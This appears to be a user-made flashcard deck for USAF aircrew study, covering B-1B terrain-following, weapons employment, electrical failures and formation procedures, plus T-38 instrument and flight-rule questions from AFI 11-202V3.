The ORSA commands an automatic flyup below ____ 2,500' AGL
When performing a TER FLW termination, after reaching ___ prior to ___, turn both Pitch Steer Switches ___ MSA, breaking RA lock, OFF
The G LIMIT HIGH light indicates the TF adapters failed to ___ and you should check ___. If the light does not go out, ___ 2.4G limit, wing sweep aft of 63, terminate TF
The TFR TURNING/G LIMIT caution light illuminates when ___. To extinguish the light, ___. If in ___ and it remains on, terminate TF turn rate exceeds 2.5*/s, reduce bank, level flight
The TFR DRIFT caution light __ cause a flyup will not
The TFR VELOCITY caution light ___ cause a flyup will not
The TFR FLT VECTOR caution light ___ cause a flyup. will (no corrective action)
The TGT CG for AFT (67.5) wing is ___ 30%
G-limit of the aircraft depends on ___, ___, ___ Wing sweep, fuel in the wings, gross weight
Minimum mach is the mach that is required to ___ during TF operations or TF inflight checks without exceeding ___ limits for stall warning ensure automatic fly-up capability, AOA
Min mach should be calculated for the planned ___/___ not ___ MSL/TFPA, MSA
The normal planning factors for TF in the B-1B are: ___nm turn radius, ___ wing sweep, ___ ground speed, ___ bank angle 7.5, 67.5, 540, 30*
The ___, ___, and ___ must carry a chart for low level operations. OSO, DSO, one member of the pilot team
MSA provides a minimum of ___ above the highest obstacle within the lateral confines of the route, but in no case less than ___nm either side of the planned route corridor. 1,000'
5nm
The minimum clearance plane will be set to ___ above the highest man made obstacle. 200'
Combat altimeters can only be used ___ day VMC
The weather for visual contour is ___' and ___NM 1,500', 5NM
First detent maneuvers are limited to increasing the SCP at ____, or increasing the SCP & limited maneuvering in ___ night/IMC, day/VMC
If you are on an IR route or night/VMC and the altitude variation exceeds ____, you should ___ -400, abort the route
If you are in a MOA performing low level operations and the altitude variation exceeds ___, you should -400, set a new MSA accounting for the altitude variation
The OSO and DSO must each have ___ operable MFDs to penetrate to low altitude. One
If SMCS becomes inoperable after entering the route, you must ___ but ___ write up the issue on the 781, can continue the route
Aircraft continuing low level inoperable SMCS will ___ if they encounter sustained or frequent turbulence climb to MSA
A timing of ___ must be met at the ___ of the route and each subsequent point along the route. +/- 2.5min, start
If you need to abort a route in VMC, squawk ___ and maintain safe separation from the terrain (MSA within the route corridor) VFR
If you need to abort a route in IMC, squawk ___ and attempt to obtain a/an ___ clearance. 7700, IFR
Causes tremendous overpressure, with peak occurring in a microsecond. Blast
MAEB Mean area of effectiveness. Area of the circle which blast effects will damage target to specified criteria
Size and velocity depend on case thickness, material, ratio of explosive weight. Fragmentation
MAEF Mean area of effectiveness. Area in which fragment density is high enough to cause specified amount of damage.
When using fragmentation type weapons, what happens when you increase the impact angle? A more uniform fragmentation pattern.
Bomb penetration/cratering depends on ___, ___, ___, ___ Fuze delay, case hardness and aerodynamics, impact angle, impact velocity.
DC Damage Crater (diameter of unfilled crater)
DD Damage Diameter (diameter of damage around crater (includes cracking, lifting and heaving).
Armor penetration is achieved by ___ High kinetic energy shaped charge penetrators
Mk-82 min release intervals Single bay - 60ms
Dual bay - 30ms
Three bay - 20ms
Mk-82 AIR loadout per bay/total 28 per bay/84 total
Mk-82 LDGP loadout per bay/total 27 per bay/81 total (cannot load station A35)
SBM10 - 7 per bay/21 total
GBU-38 release altitude At or above 15,000' MSL
SBM-10 GBU-38 considerations 6 weapons per bay (FWD/INT), 3 weapons in AFT bay, forward bank only (pitch down issues due to airstream)
Methods to alter CEM density Spin rate
Height of function/time of function
Delivery parameters (opening angle)
Interval
BONE Standard employment for CBU-103 1,500' HOF, 2,000 spin rate
BONE Standard employment for CBU-87 1,200' HOF, 2,000 spin rate
Safe escape criteria Release altitude high enough to prevent 0.001 chance of aircraft being hit by weapon fragments.
Safe separation criteria Fuze setting large enough to provide spacing to 0.001 probability from early weapon detonation
What must be considered on every sortie via CWDS? Safe escape
What does safe escape NOT account for? Secondary Explosions
Lug/hardback components
Nose plug/fuzes/tail fins
What is the peacetime pad that is added to all releases for safety? 20%
What datum does the B-1 navigation system use? WGS-84
When planning a bomb run, what should be selected before modifying intervals, speeds, stick lengths and WPT (Weapons Per Target)? Priority
What is weaponeering? The process of determining the quantity of a specific type of lethal or non lethal weapons required to achieve specific effect to a given target.
What is targeting? Process of selecting and prioritizing targets and matching the appropriate response to them, considering operation requirements and capabilities.
REP Range Error Probable (for stick/MBW weapons), distance either long/short of aimpoint where 1/2 of the weapons impact
DEP Deflection Error Probable (for stick/MBW weapons), distance either left or right of aimpoint where 1/2 of the weapons impact.
What are the biggest errors that we can introduce into bomb runs? Release timing (most significant for MBW)
Altitude error (biggest error we can control)
What is required in the preflight when carrying weapons? OSO must inspect one weapon type per bay.
Due to airflow differences in three bays, the ___ varies by bay. LAR
During release checks, switch positions that are incorrect for the release are highlighted ___ indicating the release will not occur unless corrective action is taken. This occurs at ___ TTG. red, 15
What is armor penetration munitions used against? Tanks and APCs
How is cratering achieved? Through penetration or GP munitions with a delayed fuse.
___% of GP bombs are explosive material. 50%
What are incendiary weapons effective against? Fuel and things that burn.
If there is a discrepancy between CWDS and the T/O when calculating safe escape and separation, what should be used? CWDS
What is primary result of blast effects? Collapse walls and roofs.
What is fire effective at doing? Interrupting operations of people and damaging supplies.
What are the factors that increase a LAR? Speed, angle of approach, decreasing desired impact angle
If you have assigned 5 weapons to a target, and one of the weapons project impacts falls within a safe area, what happens? AFS holds the weapon that will fall in the safe area and releases the other 4 weapons
If all weapons are released/jettisoned from the FWD and INT bays, what is the primary concern? Post release CG issues.
What is the best wing settings for release/jettison of weapons? 25 wing
What is the worst wing setting for release/jettison of weapons? 45 wing
What mode will not work with a kill box and does not honor the established restrictions? WPT Priority
What navigation mode uses HAE (Height Above Ellipsoid)? GPS
What elevation measurement does WGS 84 use? MSL (Mean Sea Level)
What is the ratio of error to altitude with high drag weapons? 2:1 (two times the altitude error)
What is the ratio of error to altitude with low drag weapons? 1:1
What do we have no control over when releasing weapons? Ballistic dispersion
If you have selected a circular pattern with 3 WPT and center selected as "YES", how many weapons will be released? 4
When releasing JDAMs, when are we releasing? In zone
When releasing WCMD, when are we releasing? In range
Essential bus failure does not illuminate what light? ELEC caution light
Which caution panel is not powered during an essential bus or bus 3 failure? Auxiliary caution panel
What are the indications of a motoring generator? Normal freqs but no volts
What is the maximum amount of time the battery will operate for if a Bus 1 and 3 failure occurs? 45 minutes
If you have an essential bus failure and cycle the emergency generator switch with no results, should you continue to cycle the emergency generator switch? No, only one actuation is advised.
What bus failures would provide for the most degraded FLCS? Essential bus or bus 3
Which PFD remains powered by the aft battery if a total AC failure occurs? Copilot
If any bus fails during/before TF, can you continue? No
What considerations should you have with a bus 1 and/or 2 failure while heavy weight? Higher chance of blown tire due to total or partial anti-skid failure.
What are the general corrective actions when responding to a known bus 1-4 failure? Run ELEC caution light checklist
Perform latch reset
What are the general corrective actions when responding to a known multiple bus failure? Run the multiple bus failure checklist
Refer to the individual bus failure checklists
All bus failures direct you to ___ land as soon as possible
When a single EMUX control box fails and you are attempting to reset the EMUX, what must you be sure of? That you are interrupting the bad MUX otherwise you could cause a total EMUX failure
If you are performing an interrupt of a bad MUX, what must you have? CITS available
With a total EMUX failure, what does the CG default to? Where the SET knob is set to
How can you differentiate between a total EMUX failure and total AC failure? Throttles are still responsive
CNMS is still powered
When performing a total EMUX failure landing, what must be done with your approach airspeed? Add 10kts due to no SEF/SIS.
If the ___ caution light is illuminated, verify ___ is available and start with the DD EMUX malfunctions checklist. EMUX, CITS
If the ___ caution light is illuminated and one or more ___ lights are on with no ___ light, go to the bus failure checklists. ELEC, bus, EMUX
-------------------------------
APU start signal: Index finger pointed upward in ____ motion. circular
Start sequence: ____/____ 2 and 4/1 and 3
APU/engine fire: ____ Horizontal figure eight
Crew chief will notify crew of a ___ or ___ tail pipe or intake fire
Egress signal: Arm motion indicating shoulder straps thrown over shoulder
Ready to taxi signal Flash taxi light on then off
Return to headset signal Flash taxi light multiple times
___ and ___ will perform the exterior inspection and check weapons, while the ___ and ___ perform the interior/before starting engines checklist Pilot and OSO; copilot and DSO
Weapon inspection is required by the ___ OSO
___ is responsible for ___ radio from engine start until passed to approach control on arrival at destination. PF; comm 1
___ talks on ATC radio for initial contact with approach control to landing. At all other times, ___ is responsible for ATC comm PF; PNF
Formation check-in occurs at ___ prior to takeoff 20 min
Taxi at ___ prior to scheduled takeoff. 15 min
Visual ready-to-taxi signal is ___, ___ in position chocks pulled, marshallers in position
Lead maintains ___ during straight-ahead taxi and ___ during turns. 15kts; 10kts
Taxi as a formation with ____ spacing. Wingmen flap/slat and lighting configuration ___ lead aircraft. 300ft; mirrors
Perform ___ in unison on the parallel. Control stick: ___,___,___, ___. Rudder: ___, ___ flight control checks; aft, forward, left, right; left, right
Standard takeoff is ___, ___ spacing (or ___), full ___ static, 30s; when lead aircraft is airborne; afterburner
PNF sets ___ (if less than rotate speed) Decision Speed
PNF calls "___" (at decision speed if less than rotate speed) committed
Formations will ___ and maintain climb schedule speeds for intermediate leveloffs. stack down
FL uses military power and maintains ___ (< 5,000' climbs) or assumes ___ (> 5,000' climbs) mach; dash 1 climb schedule
For descents, FL uses ___ and maintains ___ idle; mach
Airspeed calls in formation will always be ___ unless otherwise communicated. mach
Airspeed changes are always called in ___ night or IMC
Turns in formation will always be at ___ 30*
At night or in IMC, make radio calls for ___ and give ___ unplanned turns; new heading or steerpoint (add on angle of bank if nonstandard turn)
Do not rejoin with more than ___ aircraft/formation at a time one
At ___ degrees implement hot brake procedures and expect a ___ light. Above ___ degrees, the crew will prepare to egress; at ___ degrees, the crew egresses. 600; BRAKE TEMP; 600; 720
If a bird strike is suspected, climb to ___, slow to ___ and sweep wings forward to ___ degrees in ___ increments. safe altitude; 300kts; 25 degrees; 10 degree
For a windshield failure, climb to ___, slow to ___ or less ( ___ KCAS or less desired per TO) safe altitude; 300 KCAS; 250 KCAS
Flight/element leads will call the following unbriefed changes in IMC: " ___ KIAS, ___ MACH OF AIRSPEED, ___ DEGREES OF HEADING, ___ CHANGE IN ALTITUDE 20, 0.05, 20, ANY
Blind wingman, day/night will transmit blind with altitude in ____. thousands decimal hundreds of feet
Marshal parameters:
Orbit: ___min, ___ on ingress heading
Formation: ___
Airspeed: ___
Turn: __ degrees of bank 5; hot
Wedge/Trail
0.72M
45
Admin turns (90L/90R) angle of bank 45-degree bank (LOWAT)
G-Awareness exercise are executed by ___ on sorties when maximum G maneuvering is anticipated both pilots
G-Awareness exercise is performed by using a steady blended pull to ___, in place, for at least ___ of turn 2.5G; 90 degrees
G-Awareness exercises should be accomplished at altitudes that are a minimum of ___ above the MSA and ___ vertical separation (night or IMC) 1,000'; 1,000'
Medium altitude formation positions: ___,___, ___(___) Wedge, LAB, TRAIL (IMC)
Low altitude formation positions: ___, ___ (___) Wedge VC, Stream TF (IMC)
Medium altitude formation employment airspeed 0.85M
Low altitude formation airspeed. 540KGS push to target
Shackle/Crossover parameters 45 degrees AOB, en route A/S
Turning rejoin parameters Inside turn, 30 degrees AOB, enroute A/S
Check/hook turn parameters 45 degrees AOB, en route A/S, In Place
TF Coordination during Letdown, PF Announces "ATF"
Announces "ROUND-OUT" and "LEVEL-OFF"
Compares the terrain with the altimeter and radar altimeter and announce "ALTIMETERS CROSS-CHECKED"
TF Coordination during Letdown, PNF Announces min Mach for all letdowns and significant changes.
Acknowledge/confirm lock-on with "LETDOWN OFF"
Responds with crew position during level-off and altimeter crosschecks.
TF Coordination during Letdown, OSO Conducts the terrain brief for any unplanned letdown. The brief includes: terrain elevation, ring-in, NLT, roundout, and level-off altitudes
Announces "1000 TO RING IN"
Announces "RING-IN"
Announces current terrain elevation with "TERRAIN - XXXX"
TF Coordination during Second Detent Advise crew any time second detent is selected, "SECOND DETENT" and any time the trigger is released, "TRIGGER RELEASE".
Use of second detent is limited to fly-ups, climbs from low altitude, transition to visual contour, or MSA notches/Pumps
TF Coordination during First Detent Advise crew any time first detent is selected, "FIRST DETENT" and any time the trigger is released, "TRIGGER RELEASE".
Use of first detent is limited to peacetime night/IMC TF SCP changes only and Day/VMC TF maneuvering and SCP changes.
NOTE: Following first detent ops, pilots check the ATF button of AFCS is green, GAIN LOW light not illuminated, and the NO ATF message on the PFD is not present and advise the crew "TF ENGAGED"
TF Coordination during Fly-up For silent fly-ups, the PF will announce "FLY UP"
OSO/DSO will provide the MSA altitude
TF Coordination during SCP Change Crew clears visually and with radar before any SCP change
PF Announces "FIRST DETENT" when going to a higher SCP
PF will confirm clearance plane changes with "XXX SELECTED" and "XXX ACTIVE"
Once SCP becomes active, PF releases trigger and announces "TRIGGER RELEASED"
KIO used for ___ items SOF
Terminate used for items when ___ SOF is not a factor
Procedures for KIO/Terminate Climb to MSA/briefed ALT
Establish safe airspeed
Lag leads last known position
Return to get well or as directed by ML
Proceed once in safe parameters or as ML directed for KIO
Loss of SA - be descriptive not directive
For training sorties, aircrew will use ___ to expedite profile execution Ready
WASP Check components Wings: IAW brief
Altitude: Established in block
Speed: IAW Brief A/S: +/-20KIAS/20KGS/0.02M
Position: Within form parameters on heading +/-10 deg
___ are primary for monitoring A-A picture via TAC display and comm Pilots
Crew duties, 00+60 TTG PNF: Ensures correct bays are selected
OSO: Prep bay doors
Crew duties, 00+30 TTG PF: Engage FLT DIR + ALT HOLD (MBW) / ALT HOLD (IAM).
Calls platform NLT 00+30 TTG
PNF: Crosscheck TAC, Mission Data/TSD/LAR/BRL indications
OSO: Accomplish and verbalize REL CHK
Begin TGP BHA prep
Doors will be opened in manual 30s prior to release/LAR entry unless otherwise briefed
Crew duties, post release OSO: "CLEARED TO MANEUVER"
PF: Turn to next steer point or begin BHA maneuver
FROST format Formation
Roles
Ordnance
Sort
Tactical Flow
CAP Wheel Parameters Initial right hand, 10-nm
Close to range that permits target acquisition
CAP Bow-tie/Figure Eight Parameters Use for threat avoidance, border constraints
Offset the center point 4 to 5 nm from the target (do not overfly)
CAP Racetrack Parameters 10 to 20NM from target hot leg on azimuth
Avoid AB on outbound leg
Check for hi-res radar maps
CAP GMT Parameters 20 to 40NM from road of interest
Parallel to road
Counter rotating
Hot call drives wingman's cold turn
Air to ground monitoring hierarchy Dynamic Hostile
Dynamic Unknown
Stationary Hostile
Stationary Unknown
Dynamic Friendly
Stationary Friendly
Air to Ground Sort Plan, 1 North
East
Lead
Leader
Air to Ground Sort Plan, 2 South
West
Trail
Trailer
GMTI/T Scope 80nm, reduce to 40nm as aircraft approaches 40 nm, then reduce to 20nm scope as aircraft approaches 20nm
Strive to keep the specific area of interest at the mid range on scope
-------------------------------
The T-38 is approach category E, however, category D minimums may be used where no category E minimums are published if: A straight in approach is flown
Missed approach can be flown at 260KTAS or less
Final approach is flown at 165 KIAS or less
T-38 aircrews will request complete icing condition forecasts, to include trace icing, for the entire route of flight when receiving a preflight weather briefing via any source. True
Climbs or descents through forecast icing conditions more severe than light rime are prohibited. True
PWC 1 minimums apply to all PWC 2 pilots for approaches at the home field. True
In AETC, do not file to a destination unless the ceiling and visibility for the estimated time of arrival, plus or minus 1 hour, is at or above the appropriate PWC or suitable published minimums, whichever is greater True
The PWC decision height or minimum descent altitude will be determined by reference to: Touch-down-zone elevation (TDZE) for straight-in approaches
Field elevation for circling approaches
Field elevation if TDZE is unavailable
The pilot may descend below the decision height or minimum descent altitude if: The aircraft is in a position to make a normal approach to the runway of intended landing
The pilot can clearly see the approach threshold of the runway, approach lights, or other markings identifiable with the approach end of the runway.
Unless required by a formal course syllabus or training associated with instructing that syllabus, the preferred night procedures (in descending order) are as follows: Precision approach, non-precision approach with an associated visual descent path indicator, VFR straight-in, and VFR rectangular pattern
During the instrument cockpit check, ensure the EHSI is within: 8 degrees of the mag compass
5 degrees of a known heading
During the instrument cockpit check, set the standby AI to and check the EADI for: 3 degrees nose low
During the NAVAID ground checkpoint check, the allowable bearing pointer and CDI error is: Plus or minus 4 degrees from the depicted course to the station.
The standard VASI and PAPI have a ____degree glideslope and glidepath intercept point (aimpoint) approximately ____ feet beyond the runway threshold. 2.5-3, 750
When departing from a non-military field, you must contact the nearest FSS (or coordinate through the tower) with your actual departure time so that you do not arrive unannounced at your destination only if departing VFR. False
The following post flight actions shall be taken in the event of a deviation from a flight rule: The PIC shall make a detailed written record
The unit will keep a copy of the PIC's detailed written record.
The PIC will ensure compliance with the following: The aircraft TO
NOTAMs
FLIP
PICs are responsible for providing their crews with access to appropriate aeronautical information and publications for flight False
When an alternate airport is required, fuel required for an approach and missed approach must be included in the total flight plan if visibility-only weather criteria is used as destination. True
When operating in FAA airspace, pilots will declare minimum/emergency fuel to the controlling agency when, in their judgement, the aircraft may land at the intended destination with less than the MDS-specific minimum or emergency fuel reserves. True
Prior to the flight, the PIC must ensure each crewmember and passenger is briefed on items affecting safety or mission completion. True
A PIC may make changes to a route or destination not shown on the original flight plan without re-filing provided: The change does not penetrate an ADIZ
The controlling agency approves the change for an IFR flight
The change complies with applicable host-nation rules
If unable to file on the ground, once airborne pilots will file a flight plan with: FSS
ATC facility
The PIC's signature on the flight plan is evidence of approval and means all of the following except: The flight was properly ordered, authorized and released.
The flight will be conducted IAW all governing directives
***The aircraft has been inspected and is deemed suitable for flight***
The flight plan was reviewed for completeness and accuracy.
Pilots under IFR or VFR, whether or not under radar control, are responsible for avoiding traffic, terrain/obstacles and environmental hazards True
When converging at approximately the same altitude (except head-on or approximately so), the aircraft to the other's ____ has the right-of-way. Right
An overtaken aircraft has the right-of-way. The overtaking aircraft must alter course to the right. True
If suitably equipped, aircraft must monitor at least one emergency frequency at all times as mission an operational conditions permit. True
(In the NAS) The PIC will not allow the aircraft to exceed ___ KIAS below 10,000ft MSL unless the MAJCOM has approved a higher speed. 250
Do not turn after a touch and go or low approach until at least ___ ft above the departure end of the runway elevation, at a ___ airspeed, and past the end of the runway (if visible). 400, safe
Retractable gear aircraft will report gear down status to the ATC agency or runway supervisory unit after extending the landing gear and prior to crossing the runway threshold. True
For all flights, the PIC will: Plan missions to max extent possible
Obtain current and relevant information at all possible opportunities
File a flight plan before take off.
The PIC is the clearance authority for IFR or VFR flight in uncontrolled airspace. True
The PIC may only deviate from flight rules or ATC clearances ____ To protect life
For safety of flight
When an in-flight emergency requires immediate action
Aircraft in distress have the right-of-way over all other air traffic. True
If aircraft are approaching each other head-on or approximately so, each shall alter course to the left False
At an airport with an operating control tower, you must obtain clearance before (select best answer): taxiing, taking a runway, takeoff and landing
USAF pilots may accept Land and Hold Short Operations (LAHSO) clearances False
Display position lights between the hours of official sunset and sunrise When an engine is starting or running
While being towed, or when parked in an area likely to create a hazard, unless clearly illuminated by an outside source.
Immediately report hazardous weather conditions, wake turb, volcanic activity, or large concentrations of birds or wildlife on or near the airfield to the appropriate controlling agency. True
Except for takeoff or landing, do not operate aircraft over congested areas or groups of people if the altitude does not ensure at least ____ft above the highest obstacle within a ___ft radius of the aircraft. 1,000; 2,000
Except for takeoff or landing, do not operate aircraft over non-congested areas at an altitude of less than ___ft AGL except over open water, in special use airspace, or in sparsely populated areas. 500
Mission permitting, do not operate aircraft less than ___ft AGL over national recreation areas and wildlife refuges. 2,000
If equipped, anti-collision lights or strobe lights must be on from just prior to engine start until engine shutdown. True
The PIC shall not intentionally fly into a thunderstorm True
If the reported weather decrease below minimums after ____, the approach may be continued to the missed approach point and either execute a missed approach or continue to land. Starting a descent
Receiving radar vectors for an approach
Established on any segment of an approach prior to the missed approach point.
If conditions (weather, airspace, etc) prevent completing the mission under VFR, the PIC will alter the route of flight and continue VFR ___ Until reaching the destination
Until obtaining an IFR clearance
Until landing at a suitable location
If an aircrew member remains after flying to perform official duties, the crew rest period begins after termination of these duties. True
Aircrew may initiate mission-related communication with official agencies without interrupting crew rest. True
The NAVAIDs that appear in the name of the IAP are the types of navigation aids that provide final approach guidance. Be aware that additional equipment may be required to execute the other portions of the procedure. True
Where a VASI is installed, the VDP and VASI glidepaths are normally coincident. True
Regardless of how the attitude is recognize, verify that an unusual attitude exists by ___ Comparing the control and performance instrument indications.
Appearance of the course or glide slope warning flags indicates that the signal strength is not sufficient. True
The localizer signal is usable and accurate to a range of ___NM from the localizer antenna unless otherwise stated on the IAP 18
Where procedures depict a ground track, the pilot is expected to correct for known wind conditions. In general, the only time wind corrections should not be applied is during ____ Radar Vectors
When proceeding to a station, adjusting the heading, as necessary, to keep the bearing pointer under the top index or upper lubber line describes ____ homing.
TACAN station passage is determined when ___ the DME stops decreasing
The Defense Internet NOTAM System covers ____ All military airfields
Virtually all domestic, international and Flight Data Center (FDC) NOTAMS
If there is a requirement to execute an approach procedure with incompatible missed approach instructions, request alternate missed approach instructions prior to ___ Accepting the approach clearance.
When the name of the approach is followed by a letter such as A, B, or C, the approach is designed for circling minimums only. True
An emergency safe altitude is normally developed only for military procedures and will provide 1,000 feet of obstacle clearance (2,000 feet in designated mountainous area) within 100 NM of the facility. True
When checking the altimeter against a known checkpoint on the ground, the maximum allowable error is ___ft 75
If the runway used has a minimum climb gradient published (either by SID, IFR Departure Procedure, or by notification from ATC), then you are required to meet or exceed the published climb gradient even when executing a radar departure. True
Absence of the identifier indicates the signal is unreliable True
As a guide for turns of 30 degrees or less, the bank angle should be ___. Equal to approximately the number of degrees to be turned.
During a diving (nose low) unusual attitude recovery, do not add back pressure until wings level. False
When an ILS frequency is selected, the HSI course set knob and course selected have no effect on the CDI display. True
Immediately after station passage, to intercept a course outbound ____ Turn in the shorter direction to an intercept heading
Turn in the shorter direction to a parallel heading
If the outside air temperature is less than 0 degrees Celsius, to ensure obstacle clearance refer to the Flight Information Handbook (FIH) for cold weather altimeter correction procedures and add the appropriate values to ___ Decision Height (DH) and Minimum Descent Altitude (MDA)
Step down fixes inside the Final Approach Fix (FAF)
Aircraft approach category is based on ___ 1.3 times the stall speed in landing configuration at maximum gross weight
A minimum safe altitude is the minimum altitude that provides at least 1,000 feet of obstacle clearance (2,000 feet in designated mountainous area) for emergency use within a specified distance from the navigation facility upon which the procedure is based. False
On all IFR departures, delay all turns until at least ___ft above the departure end of the runway elevation unless an early turn is specifically required by the departure procedure 400
USAF aircraft may only use non-standard weather minimums for takeoff if aircraft performance with on engine inoperative will allow the aircraft to be at the non-standard ceiling requirement ___ and comply with published climb gradients thereafter. by the end of the runway
When flying a diverse departure, maintain a minimum climb gradient of ___ feet per nautical mile until ___. 200, reaching a minimum IFR altitude
You enter holding at a DME fix that does not specify the outbound leg length, and you are at FL 180; you should: ____ fly outbound for a period of time that will permit a 1 1/2 minute inbound leg.
Unless correcting for known winds, make all turns during entry and while holding at: ___ degrees per second or ___ degrees bank angle, or bank angle commanded by the flight director system, whichever requires the least bank angle. 3, 30
When holding, begin inbound timing when ___ wings level inbound
If you are cleared for an approach and your heading is within 90 degrees of the approach course, you can use normal lead points to intercept the course. True
On a non-DME teardrop high altitude approach, if you arrive at the IAF at an altitude below that published, maintain altitude and proceed outbound ___. 15 seconds for each 1,000 feet the aircraft is below the published altitude before starting descent.
Do not execute a procedure turn or HILO PT in the following situations ATC gives you clearance for a "straight-in" approach
ATC provide radar vectors to the final approach course
ATC clears you for a timed approach
You are flying the approach via "No PT routing"
On a procedure turn (holding entry technique), if the entry turn places the aircraft on the non-maneuvering side of the procedure turn course and you are flying in excess of ____KTAS, you must correct toward the procedure turn course using an intercept angle of at least ___ degrees. 180, 20
The ILS/LOC approach must be discontinued ____ if the localizer course becomes unreliable
or
any time full-scale deflection of the CDI occurs on final
Slant range visibility may be considerably less than reported RVR. True
When flying a radar approach, missed approach departure instructions will be given ___ if weather reports indicate any portion of the final approach will be conducted in IFR conditions
DME information is relatively unaffected by line-of-sight restrictions and altitude False
The glide slope signal is usable to a distance of ___NM from the glide slope antenna (located near the approach end of the runway) unless otherwise stated on the IAP. 10
On multi-facility approaches, the depicted VDP will be for the ___ lowest MDA published.
On all IFR departures, USAF aircraft are required to meet or exceed ___ feet per nautical mile or the published climb gradient, whichever is higher, with all engines operating 200
Which is a correct standard holding pattern? Right turns, 1 minute when holding at or below 14,000ft
ATC should issue holding instructions at least ___ minutes before reaching a clearance limit fix. When an aircraft is ___ minutes or less from a clearance limit and a clearance beyond the fix has not been received, the pilot is expected to start a speed reduction so that the aircraft will cross the fix at or below the maximum holding airspeed. 5, 3
If you are established in a holding pattern that has a published minimum holding altitude, and are assigned an altitude above that published altitude, you may descend to the published minimum altitude ___ when you have been cleared for the approach (unless restricted by ATC)
If cleared for the approach and your heading is not within 90 degrees of the procedural course, you need not coordinate for maneuvering airspace of less than 3nm. False
While being radar vectored ____ repeat all headings
repeat all altitudes (departing and assigned)
repeat all altimeter settings
Once the aircraft is inside the FAF, one navigation receiver must remain tuned to and display the facility that provides final approach course guidance. True
Descent below MDA is not authorized until ___ sufficient visual reference with the runway environment has been established
the aircraft is in a position to execute a safe landing
The definition of "runway environment" consists of one or more of the following. The approach light system
The threshold markings or lights
The final approach course on a non-radar final may vary from the runway heading as much as ___ degrees (except localizer) and still be published as a straight-in approach. 30
If you are more than one dot (half scale) below or two dots (full scale) above glide slope on an ILS, you ___ may not descend below localizer minimums
or
may continue descent to decision height if the glideslope is recaptured
When flying an approach which states "PAPI and ILS RPI not coincident" ____ the PAPI may not guide the aircraft to the same point on the runway as the instrument approach being flown
The circling MDA and weather minima to be used are those for the runway ___ to which the instrument approach is being flown
A clearance for approach includes clearance for the missed approach published on the IAP, unless ATC issues alternate missed approach instructions. True
If you decide to execute a missed approach prior to reaching the missed approach point ___ continue along the IAP routing at or above DH/MDA until reaching the MAP
do not initiate any turns on the missed approach until reaching the MAP.
What is the control and performance concept? The pilot establishes an attitude and power setting that will result in the desired aircraft performance.
What are the control instruments? ADIs, tachometers, fuel flow, RPM
What are the performance instruments? Altimeter, airspeed indicator, mach indicator, VVI, heading indicator, AOA, turn and slip.
What are the navigation instruments? Course indicators, range indicators, glide slope indicators, bearing pointers.
What is the ADI used for? Provides an immediate, direct and corresponding indication of any change in aircraft pitch or bank.
What is trim used for? Relieves control pressure and improves attitude control. This increases the amount of attention the pilot can give to clearing and other cockpit duties.
How should you use trim? Use the trim to relieve control pressure; do not trim to control the aircraft.
What will cause you to need to re-trim? Any change in attitude, power or airspeed.
What is instrument crosscheck? The efficient division of attention between control and performance instruments, interpret that data, and correct any discrepancies noted in flight parameters.
What is a common mistake when referencing performance instruments? Not accounting for performance instrument lag, causing an overshoot of desired flight parameters.
How can you prevent from entering into a dangerous attitude when flying on instruments? Ensure a proper crosscheck never stops or fixates on one instrument.
What are Primary Flight Instruments? Primary flight instruments must always be present and provide full-time attitude, altitude, and airspeed information as well as an immediately discernible attitude recognition capability, unusual attitude recovery capability and complete fault indications.
How should the primary flight instruments be positioned? In a manner that allows for an efficient crosscheck.
How should flight instrumentation be standardized? Must have the same terminology, symbology, mechanization and arrangement
Why is flight instrumentation standardized? Allows for the retention of good flying habits during transition to different aircraft.
How is the ITO (Instrument Take Off) accomplished? Referencing both outside visual references and the flight instruments.
When are ITO procedures and techniques commonly used? Taking off at night, towards water/deserted areas, and during periods of reduced visibility.
When shall pilots immediately transition to instrument references? Any time they are disoriented or when outside visual references become unreliable.
What should be done before an ITO? Accomplish a thorough before-takeoff check of all flight and navigation instruments and pubes.
How should an ITO be accomplished? Perform the ITO the same as you would as a normal takeoff, however you will transition to instruments at the speed that you lose outside references.
What is a danger of doing an ITO with layered clouds? High possibility of spatial disorientation (once transitioned to instruments, stay on the instruments).
How should level-offs be performed in instrument flight? Begin the pitch change approximately 10% of your VVI before your desired altitude.
How should you correct for heading deviations/changes less than 30 degrees? Use bank matching the desired amount of heading change. (ie. 25 degrees heading change would require 25 degrees bank)
How should you correct for heading deviations/changes greater than 30 degrees? Use 30 degrees of bank.
When correcting for airspeed deviations, what should you cross reference before adjusting power/drag settings? Changes in pitch.
What is a standard rate turn defined as? The rate at which an aircraft will make a 360 turn in two minutes.
What are the limitations of using the magnetic compass? The magnetic compass only provides reliable information during straight, level and unaccelerated flight.
What are the types of climbs and descents? Constant airspeed or constant rate
What is a constant airspeed climb/descent? A constant airspeed is established through the climb or descent using known pitch/power settings.
When performing a constant airspeed climb/descent and have VVI above 2000, when should you begin your level off? Cut the pitch in half 1,000' prior to your desired altitude.
What is a constant rate climb/descent? A constant VVI is established and maintained through the climb or descent.
Vertical S Alpha Continuous series of rate climbs and descents along a specified heading
Vertical S Bravo Continuous series of rate climbs and descents with a constant angle of bank maintained throughout.
Vertical S Charlie Continuous series of rate climbs and descents with a constant angle of bank, however the turn direction is reversed at the start of each descent.
Vertical S Delta Continuous series of rate climbs and descents with a constant angle of bank, however the turn direction is reversed with each change of vertical direction.
What are the steps when encountering an unusual attitude? Recognize, Confirm, Recover
How do you recognize there is an unusual attitude? Unusual attitude picture on the ADI or unusual performance on the performance instruments
How do you confirm there is an unusual attitude? Compare control and performance instrument indications to verify there is an unusual attitude.
How do you recover from an unusual attitude? Nose Low: Adjust power/drag to remain within ops limits while rolling and pulling to level flight. Do not pull until less than 90* of bank.
Nose High: Adjust power as necessary to assist pitch control and avoid negative-g forces. Let the nose slice through the horizon, being careful not to exceed ops/bank limits.
What are the primary navigation instruments? Radio Magnetic Indicator (RMI), Course Indicator (CI), range indicator, bearing-distance-heading indicator (BDHI), flight director, and Flight Management System (FMS).
What does the RMI display? Aircraft heading with navigational bearing data. Typically a rotating compass card with two bearing pointers.
What is the important difference between VOR/TACAN bearing pointers and ADF bearing pointers? VOR/TACAN bearing pointers do not point to an area of maximum signal strength like an ADF.
What type of distance is displayed by a Range Indicator? Slant range distance to the NAVAID site (subject to line of sight limitations)
When are deviations from AFI11-202V3, ATC, or flight rules authorized? In order to protect life, for safety of flight, or when an in-flight emergency requires immediate action.
If needing to deviate from an ATC instruction, when should you notify ATC of the deviation? As soon as possible.
